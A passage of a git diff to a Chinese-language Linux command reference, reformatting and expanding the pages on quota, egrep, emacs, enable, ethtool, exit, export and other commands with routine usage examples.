这表示lanf用户在`/dev/sda5`分区(该分区已经在usrquota的控制之下)中迄今使用了0个数据块(以K为单位),并且没有设限制(包括软限制soft和硬限制hard),同样,lanf在这个分区也没有任何文件和目录,并且也没有任何软硬限制。如果,我们想对用户进行磁盘容量的限制的话,只需要修改blocks行的limits部分就可以了,注意单位使用的是K。例如要为lanf分配100M磁盘的软限制,400M硬限制,可以使用如下的设置:
-```
+```shell
Quotas for user lanf:
/dev/sda5:blocks in use:0,limits(soft = 102400,hard = 409800)
inodes in use:0,limits(soft = 0,hard = 0)
@@ -121,14 +121,14 @@ inodes in use:0,limits(soft = 0,hard = 0)
同样的,要对文件目录的数量限制可以相应的修改inodes行。我们也可以同时对这两项都作出限制。只需要如下的修改Quotas for user lanf:
-```
+```shell
/dev/sda5:blocks in use:0,limits(soft = 102400,hard = 409800)
inodes in use:0,limits(soft = 12800,hard = 51200)
```
这表示除了相应的容量的限制外,还对文件/目录的数量做了12800个的软限制和51200个的硬限制。在保存了新的配置后,该用户的磁盘使用就不能超过硬限制。如果用户试图超过这个限制,该操作将被取消,然后得到一个错误信息。但是,如果每个用户都要这么麻烦的设置的话,那这种重复的体力劳动实在有点令人不寒而栗,而且也太浪费时间了。幸好edquota还有个-p参数(prototype)可以对已有的用户设置进行拷贝。例如,我们想对Jack、Tom、Chen三个用户使用和lanf一样的限额配置,可以使用如下的命令:
-```
+```shell
edquota -p lanf -u Jack Tom Chen
```
@@ -136,19 +136,19 @@ edquota -p lanf -u Jack Tom Chen
对组的配额,除了edquota命令中对应`-u`选项的改为`-g`选项,例如下面对webterm1组的操作:
-```
+```shell
edquota -g webterm1
```
实际上,以上的限制只是对用户设定的硬限制在起作用。如果需要使软限制也起作用的话,还需要对用户的软限制设定宽限期,缺省的软限制的宽限期是无穷,这可以使用edquota命令的`-t`选项来实现。运行下面的命令:
-```
+```shell
edquota -t
```
edquota将打开缺省编辑器显示如下内容:
-```
+```shell
time units may be:days,hours,minutes,or seconds
Grace period before enforcing soft limits for users:
/dev/sda5:block grace period:0 days,file grace period:0 days
@@ -156,7 +156,7 @@ Grace period before enforcing soft limits for users:
可以使用天、小时、分、秒为单位来设定宽限期。例如,在下面这个例子中,磁盘空间限制的宽限期为两天,而文件数量限制的宽限期只有6个小时。
-```
+```shell
Time units may be:days,hours,minutes,or seconds
Grace period before enforcing soft limits for users:
/dev/sda5:block grace period:2 days,file grace period:6 hours
@@ -166,13 +166,13 @@ Grace period before enforcing soft limits for users:
比如加入用户bye2000的磁盘配额,执行以下命令:
-```
+```shell
setquota –u / 2000 2500 100 110 bye2000
```
以下是setquota命令用法的简单描述:
-```
+```shell
setquota [ -u|-g ] 装载点 软块数 硬块数 软文件数 硬文件数 用户名/组名
```
@@ -180,13 +180,13 @@ setquota [ -u|-g ] 装载点 软块数 硬块数 软文件数 硬文件数 用
要查明某一个用户使用了多少磁盘空间,例如lanf,可以使用如下的命令:
-```
+```shell
quota -u lanf
```
显示:
-```
+```shell
Disk quotas for user lanf(uid 503):
Filesystem blocks quota limit grace file quota limit grace
/dev/sda5 3 102400 409800 1 12800 51200
@@ -200,4 +200,3 @@ Filesystem blocks quota limit grace file quota limit grace
2. 如果不带任何参数运行quota的话,查看的是你自己的配额使用情况。
-
\ No newline at end of file
diff --git a/command/egrep.md b/command/egrep.md
index 84b3bf18983..1b89654ea79 100644
--- a/command/egrep.md
+++ b/command/egrep.md
@@ -1,44 +1,47 @@
egrep
===
-
+
在文件内查找指定的字符串
## 补充说明
**egrep命令** 用于在文件内查找指定的字符串。egrep执行效果与`grep -E`相似,使用的语法及参数可参照grep指令,与grep的不同点在于解读字符串的方法。egrep是用extended regular expression语法来解读的,而grep则用basic regular expression 语法解读,extended regular expression比basic regular expression的表达更规范。
-### 语法
+### 语法
-```
+```shell
egrep(选项)(查找模式)(文件名1,文件名2,……)
```
-### 实例
+### 实例
显示文件中符合条件的字符。例如,查找当前目录下所有文件中包含字符串"Linux"的文件,可以使用如下命令:
-```
+```shell
egrep Linux *
```
结果如下所示:
-```
-#以下五行为 testfile 中包含Linux字符的行
+```shell
+# 以下五行为 testfile 中包含Linux字符的行
testfile:hello Linux!
testfile:Linux is a free Unix-type operating system.
testfile:This is a Linux testfile!
testfile:Linux
testfile:Linux
-#以下两行为testfile1中含Linux字符的行
+# 以下两行为testfile1中含Linux字符的行
testfile1:helLinux!
testfile1:This a Linux testfile!
-#以下两行为 testfile_2 中包含Linux字符的行
+# 以下两行为 testfile_2 中包含Linux字符的行
testfile_2:Linux is a free unix-type opterating system
testfile_2:Linux test
```
+过滤注释行和空白行
-
\ No newline at end of file
+```shell
+egrep -v '^\s*(#|$)' filename
+```
diff --git a/command/eject.md b/command/eject.md
index 2bf4b3cda93..168f337baf4 100644
--- a/command/eject.md
+++ b/command/eject.md
@@ -1,6 +1,6 @@
eject
===
-
+
用来退出抽取式设备
## 补充说明
@@ -11,15 +11,15 @@ eject允许可移动介质(典型是cd-ROM、软盘、磁带、或者JAZ以及
有四种不同的弹出的方法,具体要看设备是CD-ROM, SCSI设备,可移动软盘,还是磁带而定。默认的弹出会依次尝试所有四种方法,直到成功为止。如果设备当前是挂载上来的,那么在弹出前要先卸载。
-### 语法
+### 语法
-```
+```shell
eject(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-a<开关>或--auto<开关>:控制设备的自动退出功能;
-c<光驱编号>或--changerslut<光驱编号> 选择光驱柜中的光驱;
-d或--default:显示预设的设备,而不是实际执行动作;
@@ -33,9 +33,8 @@ eject(选项)(参数)
-v或--verbose:执行时,显示详细的说明。
```
-### 参数
+### 参数
设备名:指定弹出的设备名称。
-
\ No newline at end of file
diff --git a/command/elinks.md b/command/elinks.md
index 6a34c92bdc8..ad857f64723 100644
--- a/command/elinks.md
+++ b/command/elinks.md
@@ -1,21 +1,21 @@
elinks
===
-
+
纯文本界面的WWW浏览器
## 补充说明
**elinks命令** 能实现一个纯文本界面的WWW浏览器,操作方式与“lynx”类似。
-### 语法
+### 语法
-```
+```shell
elinks(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-anonymous:是否使用匿名帐号方式;
-auto-submit:对于偶然遇到的第一个表单是否自动提交;
-config-dir:指定elinks指令运行时读取和写入自身的配置和运行状态的存放目录;
@@ -24,9 +24,8 @@ elinks(选项)(参数)
-h:显示帮助信息。
```
-### 参数
+### 参数
URL:指定要访问的URL地址。
-
\ No newline at end of file
diff --git a/command/elm.md b/command/elm.md
index c3bd8aa9c90..324e72222a1 100644
--- a/command/elm.md
+++ b/command/elm.md
@@ -1,21 +1,21 @@
elm
===
-
+
纯文本邮件客户端程序
## 补充说明
**elm命令** 是一个E-mail客户端管理程序,它提供了纯文本交互式全屏幕界面。
-### 语法
+### 语法
-```
+```shell
elm(选项)
```
-### 选项
+### 选项
-```
+```shell
-s<邮件主题>:指定新邮件的邮件主题;
-f<目录>:开启程序时,读取指定的目录;
-h:显示帮助;
@@ -26,4 +26,3 @@ elm(选项)
```
-
\ No newline at end of file
diff --git a/command/emacs.md b/command/emacs.md
index faedae72e75..de4b2b95962 100644
--- a/command/emacs.md
+++ b/command/emacs.md
@@ -1,21 +1,21 @@
emacs
===
-
+
功能强大的全屏文本编辑器
## 补充说明
**emacs命令** 是由GNU组织的创始人Richard Stallman开发的一个功能强大的全屏文本编辑器,它支持多种编程语言,具有很多优良的特性。有众多的系统管理员和软件开发者使用emacs。
-### 语法
+### 语法
-```
+```shell
emacs(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
+<行号>:启动emacs编辑器,并将光标移动到制定行号的行;
-q:启动emacs编辑器,而不加载初始化文件;
-u<用户>:启动emacs编辑器时,加载指定用户的初始化文件;
@@ -25,7 +25,7 @@ emacs(选项)(参数)
-batch:以批处理模式运行emacs编辑器。
```
-### 参数
+### 参数
文件:指定要编辑的文本文件。
@@ -33,7 +33,7 @@ emacs(选项)(参数)
基本命令
-```
+```shell
C-x C-c : 退出Emacs
C-x C-f : 打开一个文件,如果文件不存在,则创建一个文件
C-g : 取消未完成的命令
@@ -41,14 +41,14 @@ C-g : 取消未完成的命令
编辑
-```
+```shell
C-z (redefined): Undo;原来C-z是挂起Emacs(然后用fg命令调出);C-x u 是默认的命令; 移动一下光标,再C-z就可以redo
M-d : 删除光标后的词语
```
移动光标
-```
+```shell
C-v : 向前翻页
M-v : 向后翻页
M-r : 将光标移动到屏幕中间那行
@@ -71,7 +71,7 @@ C-l : 重绘屏幕,效果就是当前编辑行移动窗口中央
Buffer 相关
-```
+```shell
C-x k : 关闭当前buffer
C-x b : 切换到前一个编辑的buffer
C-x C-b : 列出当前所有buffer
@@ -82,7 +82,7 @@ C-x C-w : 文件另存为
拷贝与粘贴
-```
+```shell
M-space (redefined): 设置mark; C-@ 是默认命令
C-w (redefined) : 剪切一块区域;如果没有设置mark,则是剪切一行
M-w (redefined) : 拷贝一块区域;如果没有设置mark, 则是拷贝一行
@@ -93,7 +93,7 @@ C-x r k : 执行矩形区域的剪切
C-x r y : 执行矩形区域的粘贴
```
-```
+```shell
窗口操作
C-x 0 : 关闭当前窗口
C-x 1 : 将当前窗口最大化
@@ -111,7 +111,7 @@ ESC C-v : 在其它窗口进行卷屏操作
搜索和替换
-```
+```shell
C-s : 向前搜索(增量式搜索);连续C-s,跳到下一个搜索到的目标
C-s RET : 普通搜索
C-r : 向前搜索
@@ -122,7 +122,7 @@ M-x replace-string : 普通替换
Tags
-```
+```shell
M-! etags .c .h : 创建TAGS文件
M-. : 跳到tag所在位置
M-x list-tags : 列出tags
@@ -130,14 +130,14 @@ M-x list-tags : 列出tags
书签
-```
+```shell
C-x r m : 设置书签bookmark
C-x r b : 跳到bookmark处
```
帮助
-```
+```shell
C-h ? : 查看帮助信息
C-h f : 查看一个函数
C-h v : 查看一个变量
@@ -148,7 +148,7 @@ C-h i : 看Info
其它
-```
+```shell
C-M-\ : 对选中区域,按照某种格式(比如C程序)进行格式化
C-x h : 全部选中
M-! : 执行外部shell命令
@@ -158,4 +158,3 @@ C-x C-q : 修改buffer的只读属性
```
-
\ No newline at end of file
diff --git a/command/enable.md b/command/enable.md
index 1c291758200..359bf7c2e97 100644
--- a/command/enable.md
+++ b/command/enable.md
@@ -1,96 +1,110 @@
enable
===
-
-启动或关闭shell内建命令
-## 补充说明
+启动或禁用shell内建命令
-**enable命令** 用于临时关闭或者激活指定的shell内部命令。若要执行的文件名称与shell内建命令相同,可用`enable -n`来关闭shell内建命令。若不加`-n`选项,enable可重新启动关闭的命令。
-linux shell命令执行时,shell总是先在自己的shell builtin中查找该命令,如果找到则执行该命令;如果找不到该命令,则会从环境变量$PATH指定的路径中依次去查找待执行的命令。因为了解了这一点,所以看起来好像没有办法编写用户自己的命令来替代shell builtin命令。幸运的是,有了enable命令我们就能做到了。
+### 概要
-### 语法
+enable [-a] [-dnps] [-f filename] [name ...]
-```
-enable(选项)(参数)
-```
+### 主要用途
-### 选项
+- 禁用一到多个内建命令。
+- 启用一到多个内建命令。
+
+- 直接调用与禁用的内建命令同名且在`$PATH`路径下找到的外部命令。
+
+- 打印所有内建命令,无论是否禁用。
+- 打印处于启用状态的内建命令。
+- 打印处于禁用状态的内建命令。
+
+- 打印处于启用状态的posix标准内建命令。
+- 打印处于禁用状态的posix标准内建命令。
+- 打印posix标准内建命令,无论是否禁用。
+
+- 从动态库中加载内建命令。
+- 移除从动态库中加载的内建命令。
+
+#### 选项
+
+
+```shell
+-a 打印所有内建命令,无论是否禁用。
+-d 移除从动态库中加载的内建命令。
+-n 禁用内建命令或显示已禁用的内建命令。
+-p 以可复用格式打印。
+-s 只显示处于启动状态的posix标准内建命令。
+-f 动态库中加载内建命令。
+-ns 打印处于禁用状态的posix标准内建命令。
+-as 打印posix标准内建命令,无论是否禁用。
```
--n:关闭指定的内部命令;
--a:显示所有激活的内部命令;
--f:从指定文件中读取内部命令。
-```
-### 参数
+#### 参数
+
+filename:动态库文件名。
-内部命令:指定要关闭或激活的内部命令。
+name(可选):内建命令,可以为多个。
-### 实例
+#### 返回值
-使用enable命令显示所有激活的内部命令:
+enable返回成功,除非name不是内建命令或有错误发生。
+### 例子(以下内容限于篇幅不再列出返回值部分)
+
+```shell
+# posix special builtin
+# 假设没有任何内建命令被禁用
+# 禁用两个posix标准内建命令
+enable -n set source
+# 打印处于禁用状态的posix标准内建命令
+enable -ns
+# 打印posix标准内建命令,无论是否禁用。
+enable -as
+# 打印处于启用状态的posix标准内建命令
+enable -s
```
-[root@localhost ~]# enable -a
-enable .
-enable :
-enable alias
-enable bg
-enable bind
-enable break
-enable builtin
-enable caller
-enable cd
-enable command
-enable compgen
-enable complete
-enable continue
-enable declare
-enable dirs
-enable disown
-enable echo
-enable enable
-enable eval
-enable exec
-enable exit
-enable export
-enable false
-enable fc
-enable fg
-enable getopts
-enable hash
-enable help
-enable history
-enable jobs
-enable kill
-enable let
-enable local
-enable logout
-enable popd
-enable printf
-enable pushd
+
+```shell
+# 假设没有任何内建命令被禁用
+# 禁用一到多个内建命令
+enable -n echo pwd
+# 打印所有内建命令,无论是否禁用。
+enable -a
+# 打印处于启用状态的内建命令
+enable
+# 打印处于禁用状态的内建命令
+enable -n
+# 启用一到多个内建命令
enable pwd
-enable read
-enable readonly
-enable return
-enable set
-enable shift
-enable shopt
-enable source
-enable suspend
-enable test
-enable times
-enable trap
-enable true
-enable type
-enable typeset
-enable ulimit
-enable umask
-enable unalias
-enable unset
-enable wait
```
+### Q&A
+
+Q:请问`-f`,`-d`,`-p`的演示呢?
+
+A:说明一下,`-f`与`-d`限于个人能力没有找到合适的例子,如果您有更好的例子欢迎提pr;
+经过我验证`-p`选项是否使用好像没有区别,可以比较```enable -p|cat -A```和```enable|cat -A``` 有什么区别。(注:`cat -A`用于显示不可见字符)
+
+Q:是否可以禁用`enable`自己?之后还能禁用或启用内建命令吗?
+
+A:可以;不能。
+
+### 注意
+
+> linux shell命令执行时,shell总是先在自己的shell builtin中查找该命令,如果找到则执行该命令;如果找不到该命令,则会从环境变量`$PATH`指定的路径中依次去查找待执行的命令。看起来好像没有办法编写用户自己的命令来替代shell builtin命令。幸运的是,有了`enable`命令我们就能做到了。
+
+1. 关于同名命令调用的优先级的知识,请先参考`builtin`命令的*提示*部分,然后继续阅读下面部分;
+
+ 当内建命令`echo`没有禁用时,如果要调用外部命令`echo`,只能这样写`/usr/bin/echo`;
+
+ 当我们禁用了`echo`后,优先级顺序变成了这样:
+
+ 函数 > 外部命令
+
+ 如果执行命令的环境没有`echo`函数,那么调用的`echo`就是外部命令。
+
+2. 该命令是bash内建命令,相关的帮助信息请查看 `help` 命令。
+
-
\ No newline at end of file
diff --git a/command/env.md b/command/env.md
index cd33798902c..d6221e2a774 100644
--- a/command/env.md
+++ b/command/env.md
@@ -1,6 +1,6 @@
env
===
-
+
显示系统中已存在的环境变量
## 补充说明
@@ -9,27 +9,27 @@ env
如果使用env命令在新环境中执行指令时,会因为没有定义环境变量"PATH"而提示错误信息"such file or directory"。此时,用户可以重新定义一个新的"PATH"或者使用绝对路径。
-### 语法
+### 语法
-```
+```shell
env(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-i:开始一个新的空的环境;
-u<变量名>:从当前环境中删除指定的变量。
```
-### 参数
+### 参数
* 变量定义:定义在新的环境中变量,定义多个变量定义用空格隔开。格式为“变量名=值”;
* 指定:指定要执行的指令和参数。
-### 实例
+### 实例
-```
+```shell
[root@localhost ~]# env
hostname=LinServ-1
TERM=linux
@@ -54,4 +54,3 @@ _=/bin/env
```
-
\ No newline at end of file
diff --git a/command/ethtool.md b/command/ethtool.md
index 7dd346afe6e..9692706d49a 100644
--- a/command/ethtool.md
+++ b/command/ethtool.md
@@ -1,15 +1,15 @@
ethtool
===
-
+
显示或修改以太网卡的配置信息
## 补充说明
ethtool命令用于获取以太网卡的配置信息,或者修改这些配置。这个命令比较复杂,功能特别多。
-### 语法
+### 语法
-```
+```shell
ethtool [ -a | -c | -g | -i | -d | -k | -r | -S |] ethX
ethtool [-A] ethX [autoneg on|off] [rx on|off] [tx on|off]
ethtool [-C] ethX [adaptive-rx on|off] [adaptive-tx on|off] [rx-usecs N] [rx-frames N] [rx-usecs-irq N] [rx-frames-irq N] [tx-usecs N] [tx-frames N] [tx-usecs-irq N] [tx-frames-irq N] [stats-block-usecs N][pkt-rate-low N][rx-usecs-low N] [rx-frames-low N] [tx-usecs-low N] [tx-frames-lowN] [pkt-rate-high N] [rx-usecs-high N] [rx-frames-high N] [tx-usecs-high N] [tx-frames-high N] [sample-interval N]
@@ -23,9 +23,9 @@ ethtool [-s] ethX [speed 10|100|1000] [duplex half|full] [autoneg on|off] [port
[wol p|u|m|b|a|g|s|d...] [sopass xx:yy:zz:aa:bb:cc] [msglvl N]
```
-### 选项
+### 选项
-```
+```shell
-a 查看网卡中 接收模块RX、发送模块TX和Autonegotiate模块的状态:启动on 或 停用off。
-A 修改网卡中 接收模块RX、发送模块TX和Autonegotiate模块的状态:启动on 或 停用off。
-c display the Coalesce information of the specified ethernet card。
@@ -45,7 +45,7 @@ ethtool [-s] ethX [speed 10|100|1000] [duplex half|full] [autoneg on|off] [port
-s 修改网卡的部分配置,包括网卡速度、单工/全双工模式、mac地址等。
```
-### 数据来源
+### 数据来源
Ethtool命令显示的信息来源于网卡驱动层,即TCP/ip协议的链路层。该命令在Linux内核中实现的逻辑层次为:
@@ -53,193 +53,66 @@ Ethtool命令显示的信息来源于网卡驱动层,即TCP/ip协议的链路
网卡驱动负责实现(部分)这些函数,并将其封装入`ethtool_ops`结构体,为网络核心层提供统一的调用接口。因此,不同的网卡驱动会给应用层返回不同的信息。`Ethtool命令选项`、`struct ethtool_ops成员函数`、`Ethtool命令显示参数的来源`,三者间的对应关系如下表所示:
-
-
-
-
-
-
-命令选项
-
-struct ethtool_ops成员函数
-
-Ethtool命令显示参数的来源(以网卡驱动BNX2为例)
-
-
-
-
-
-无 -s
-
-get_settingsget_wol get_msglevel get_link set_settings set_wol set_msglevel
-
-从网卡寄存器中获得网卡速度等信息,可配置。
-
-
-
-
-
--a -A
-
-get_pauseparam set_pauseparam
-
-从网卡寄存器中获得Autonegotiate/RX/TX模块的状态:on oroff,可配置。
-
-
-
-
-
--c -C
-
-get_coalesceset_coalesce
-
-从网卡寄存器中获得coalescing参数:TX/RX一个数据包后,推迟发生TX/RX中断的时间(us)/数据包个数。—减小该值可以提高网卡的响应时间。 当rx-usecs&rx-frames同时被设为0时,RX中断停止。 当tx-usecs&tx-frames同时被设为0时,TX中断停止。
-
-
-
-
-
--g -G
-
-get_ringparam set_ringparam
-
-除当前TX/RX ring的值(从网卡寄存器中读取得到,可配置)外,其它为网卡bnx2自己固定的信息。
-
-
-
-
-
--k -K
-
-get_rx_csumget_tx_csum get_sg get_tso set_rx_csum set_tx_csum set_sg set_tso
-
-显示信息从保存该状态的变量中读取得到,没有对应的寄存器。因此,TX/RX校验等模块一直处于on状态,实际上是无法修改的。
-
-
-
-
-
--i
-
-get_drvinfo[self_test_count, get_stats_coun,t get_regs_len, get_eeprom_len]
-
-网卡bnx2自己固定的信息,如:
-——————————————————–
-driver: bnx2 version: 1.4.30 firmware-version: 1.8.0.5 bus-info: 0000:09:00.0
-——————————————————–
-
-
+| 命令选项 | struct ethtool\_ops成员函数 | Ethtool命令显示参数的来源(以网卡驱动BNX2为例) |
+| ----- | ----- | ----- |
+| 无 -s | get\_settingsget\_wol get\_msglevel get\_link set\_settings set\_wol set\_msglevel | 从网卡寄存器中获得网卡速度等信息,可配置。 |
+| -a -A | get\_pauseparam set\_pauseparam | 从网卡寄存器中获得Autonegotiate/RX/TX模块的状态:on oroff,可配置。 |
+| -c -C | get\_coalesceset\_coalesce | 从网卡寄存器中获得coalescing参数:TX/RX一个数据包后,推迟发生TX/RX中断的时间(us)/数据包个数。—减小该值可以提高网卡的响应时间。 当rx-usecs\&rx-frames同时被设为0时,RX中断停止。 当tx-usecs\&tx-frames同时被设为0时,TX中断停止。 |
+| -g -G | get\_ringparam set\_ringparam | 除当前TX/RX ring的值(从网卡寄存器中读取得到,可配置)外,其它为网卡bnx2自己固定的信息。 |
+| -k -K | get\_rx\_csumget\_tx\_csum get\_sg get\_tso set\_rx\_csum set\_tx\_csum set\_sg set\_tso | 显示信息从保存该状态的变量中读取得到,没有对应的寄存器。因此,TX/RX校验等模块一直处于on状态,实际上是无法修改的。 |
+| -i | get\_drvinfo\[self\_test\_count, get\_stats\_coun,t get\_regs\_len, get\_eeprom\_len] | 网卡bnx2自己固定的信息,如: ——————driver: bnx2 version: 1.4.30 firmware-version: 1.8.0.5 bus-info: 0000:09:00.0 ———————————– |
+| -d | get\_drvinfoget\_regs | 不支持,即bnx2中没有实现函数get\_regs。 |
+| -e -E | get\_eepromset\_eeprom | 不支持,即bnx2中没有实现函数get\_eeprom。 |
+| -r | nway\_reset | 配置网卡MII\_BMCR寄存器,重启Auto negotiation模块。 |
+| -p | phys\_id | 配置网卡BNX2\_EMAC\_LED寄存器,实现LED闪功能。 |
+| -t | self\_test | 通过配置网卡寄存器,逐一测试网卡的硬件模块:registers,memory,loopback,Link stat,interrupt。 |
+| -S | get\_ethtool\_stats | 显示信息来源于网卡驱动中的结构体变量stats\_blk。(网卡通过DMA方式,将寄存器BNX2\_HC\_STATISTICS \_ADDR\_L和BNX2\_HC\_STATISTICS\_ADDR\_H中的数据实时地读取到结构体变量struct statistics\_block \*stats\_blk中。) —显示的数据都是从网卡寄存器中统计得到的,各项的含义需查询网卡(芯片)手册。 |
-
-
--d
-
-get_drvinfoget_regs
-
-不支持,即bnx2中没有实现函数get_regs。
-
-
-
-
-
--e -E
-
-get_eepromset_eeprom
-
-不支持,即bnx2中没有实现函数get_eeprom。
-
-
-
-
-
--r
-
-nway_reset
-
-配置网卡MII_BMCR寄存器,重启Auto negotiation模块。
-
-
-
-
-
--p
-
-phys_id
-
-配置网卡BNX2_EMAC_LED寄存器,实现LED闪功能。
-
-
-
-
-
--t
-
-self_test
-
-通过配置网卡寄存器,逐一测试网卡的硬件模块:registers,memory,loopback,Link stat,interrupt。
-
-
-
-
-
--S
-
-get_ethtool_stats
-
-显示信息来源于网卡驱动中的结构体变量stats_blk。(网卡通过DMA方式,将寄存器BNX2_HC_STATISTICS _ADDR_L和BNX2_HC_STATISTICS_ADDR_H中的数据实时地读取到结构体变量struct statistics_block *stats_blk中。) —显示的数据都是从网卡寄存器中统计得到的,各项的含义需查询网卡(芯片)手册。
-
-
-
-
-
-
由上可见,ethtool命令用于显示/配置网卡硬件(寄存器)。
-### 实例
+### 实例
查看机器上网卡的速度:百兆还是千兆,请输入:
-```
-ethool eth0
+```shell
+ethtool eth0
```
操作完毕后,输出信息中`Speed:`这一项就指示了网卡的速度。停止网卡的发送模块TX,请输入:
-```
+```shell
ethtool -A tx off eth0
```
操作完毕后,可输入`ethtool -a eth0`,查看tx模块是否已被停止。查看网卡eth0采用了何种驱动,请输入:
-```
+```shell
ethtool -i eth0
```
操作完毕后,显示 driver: bnx2;version: 1.4.30 等信息。关闭网卡对收到的数据包的校验功能,请输入:
-```
+```shell
ethtool -K eth0 rx off
```
操作完毕后,可输入`ethtool –k eth0`,查看校验功能是否已被停止。如果机器上安装了两块网卡,那么eth0对应着哪块网卡呢?输入:
-```
+```shell
ethtool -p eth0 10
```
操作完毕后,看哪块网卡的led灯在闪,eth0就对应着哪块网卡。查看网卡,在接收/发送数据时,有没有出错?请输入:
-```
+```shell
ethtool –S eth0
```
将千兆网卡的速度降为百兆,请输入:
-```
-ethtool -s eth0 speed 100
-
+```shell
+ethtool -s eth0 speed 100
```
-
\ No newline at end of file
diff --git a/command/ex.md b/command/ex.md
index acbceb53b20..8b92b232a7e 100644
--- a/command/ex.md
+++ b/command/ex.md
@@ -1,21 +1,20 @@
ex
===
-
+
启动vim编辑器的ex编辑模式
## 补充说明
在 **ex** 模式下启动vim文本编辑器。ex执行效果如同`vi -E`,适用于法及参数可参照vi指令,如要从Ex模式回到普通模式,则在vim中输入`:vi`或`:visual`即可。
-### 语法
+### 语法
-```
+```shell
ex(参数)
```
-### 参数
+### 参数
文件:指定待编辑的文件。
-
\ No newline at end of file
diff --git a/command/exec.md b/command/exec.md
index 5a57776a6f9..798834ad288 100644
--- a/command/exec.md
+++ b/command/exec.md
@@ -1,55 +1,54 @@
exec
===
-
+
调用并执行指定的命令
## 补充说明
**exec命令** 用于调用并执行指令的命令。exec命令通常用在shell脚本程序中,可以调用其他的命令。如果在当前终端中使用命令,则当指定的命令执行完毕后会立即退出终端。
-### 语法
+### 语法
-```
+```shell
exec(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-c:在空环境中执行指定的命令。
```
-### 参数
+### 参数
指令:要执行的指令和相应的参数。
-### 实例
+### 实例
首先使用echo命令将文本“Linux C++”进行输出,输入如下命令:
-```
-echo Linux C++ #输出指定信息
+```shell
+echo Linux C++ # 输出指定信息
```
执行上面的指令后,输出如下信息:
-```
-Linux C++ #输出信息
+```shell
+Linux C++ # 输出信息
```
然后再使用exec命令调用echo命令输出同样的信息,并且对输出的信息进行对比,输入指令如下所示:
-```
-exec -c echo Linux C++ #调用命令
+```shell
+exec -c echo Linux C++ # 调用命令
```
执行以上命令后,其输出信息如下:
-```
-Linux C++ #使用指定指令输出信息
+```shell
+Linux C++ # 使用指定指令输出信息
```
通过比较两者执行后的结果来看,所实现的功能是相同的,即使用exec命令调用echo命令成功。
-
\ No newline at end of file
diff --git a/command/exit.md b/command/exit.md
index e6d7f1d3d9d..7c48de8b314 100644
--- a/command/exit.md
+++ b/command/exit.md
@@ -1,40 +1,53 @@
exit
===
-
-退出当前的shell
-## 补充说明
+退出当前的shell。
-**exit命令** 同于退出shell,并返回给定值。在shell脚本中可以终止当前脚本执行。执行exit可使shell以指定的状态值退出。若不设置状态值参数,则shell以预设值退出。状态值0代表执行成功,其他值代表执行失败。
+## 概要
-### 语法
-
-```
-exit(参数)
+```shell
+exit [n]
```
-### 参数
+## 主要用途
+
+- 执行exit可使shell以指定的状态值退出。若不设置参数,则以最后一条命令的返回值作为exit的返回值退出。
+
+## 参数
-返回值:指定shell返回值。
+n(可选):指定的shell返回值(整数)。
-### 实例
+## 返回值
+
+返回值为你指定的参数n的值,如果你指定的参数大于255或小于0,那么会通过加或减256的方式使得返回值总是处于0到255之间。
+
+## 例子
退出当前shell:
-```
+```shell
[root@localhost ~]# exit
logout
```
-在脚本中,进入脚本所在目录,否则退出:
+也可以使用`ctrl+d`退出当前终端,下面列出了打开或关闭该功能的方法:
+```shell
+# 打开ctrl+d退出终端
+set -o ignoreeof
+# 关闭ctrl+d退出终端
+set +o ignoreeof
```
+
+在脚本中,进入脚本所在目录,否则退出:
+
+```shell
cd $(dirname $0) || exit 1
```
在脚本中,判断参数数量,不匹配就打印使用方式,退出:
-```
+```shell
if [ "$#" -ne "2" ]; then
echo "usage: $0 "
exit 2
@@ -43,13 +56,13 @@ fi
在脚本中,退出时删除临时文件:
-```
+```shell
trap "rm -f tmpfile; echo Bye." EXIT
```
检查上一命令的退出码:
-```
+```shell
./mycommand.sh
EXCODE=$?
if [ "$EXCODE" == "0" ]; then
@@ -57,5 +70,8 @@ if [ "$EXCODE" == "0" ]; then
fi
```
+### 注意
+
+1. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。
+
-
\ No newline at end of file
diff --git a/command/expand.md b/command/expand.md
index 821cc2e382b..4b3498ccecd 100644
--- a/command/expand.md
+++ b/command/expand.md
@@ -1,27 +1,26 @@
expand
===
-
+
将文件的制表符转换为空白字符
## 补充说明
**expand命令** 用于将文件的制表符(TAB)转换为空白字符(space),将结果显示到标准输出设备。
-### 语法
+### 语法
-```
+```shell
expand(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-t<数字>:指定制表符所代表的空白字符的个数,而不使用默认的8。
```
-### 参数
+### 参数
文件:指定要转换制表符为空白的文件。
-
\ No newline at end of file
diff --git a/command/export.md b/command/export.md
index b19ab335d13..a6a6f3cbd1e 100644
--- a/command/export.md
+++ b/command/export.md
@@ -1,37 +1,161 @@
export
===
-
-设置或显示系统环境变量
-## 补充说明
+为shell变量或函数设置导出属性。
-**export命令** 用于将shell变量输出为环境变量,或者将shell函数输出为环境变量。
+## 概要
-一个变量创建时,它不会自动地为在它之后创建的shell进程所知。而命令export可以向后面的shell传递变量的值。当一个shell脚本调用并执 行时,它不会自动得到原为脚本(调用者)里定义的变量的访问权,除非这些变量已经被显式地设置为可用。export命令可以用于传递一个或多个变量的值到任何后继脚本。
+```
+export [-fn] [name[=word]]...
+export -p
+```
+
+## 主要用途
+
+- 定义一到多个变量并设置导出属性。
+- 修改一到多个变量的值并设置导出属性。
+- 删除一到多个变量的导出属性。
+- 显示全部拥有导出属性的变量。
+- 为一到多个已定义函数新增导出属性。
+- 删除一到多个函数的导出属性。
+- 显示全部拥有导出属性的函数。
+
+## 选项
+
+```shell
+-f:指向函数。
+-n:删除变量的导出属性。
+-p:显示全部拥有导出属性的变量。
+-pf:显示全部拥有导出属性的函数。
+-nf:删除函数的导出属性。
+--:在它之后的选项无效。
+```
+
+## 参数
+
+name(可选):变量名或已定义函数名。
+
+value(可选):变量的值。
+
+### 返回值
-### 语法
+export返回true除非你提供了非法选项或非法名称。
+## 例子
+
+```shell
+# 显示全部拥有导出属性的变量。
+# export -p
+# export
+# 显示全部拥有导出属性的函数。
+# export -pf
```
-export(选项)(参数)
+
+```shell
+# 首先删除要演示的变量名
+#unset a b
+# 定义变量的同时增加导出属性
+export a b=3
+# 当然也可以先定义后增加导出属性
+b=3
+export b
+
+# 修改拥有导出属性的变量的值
+export a=5 b=7
+# 当然也可以直接赋值修改
+a=5;b=7
+
+# 删除变量的导出属性
+export -n a b
```
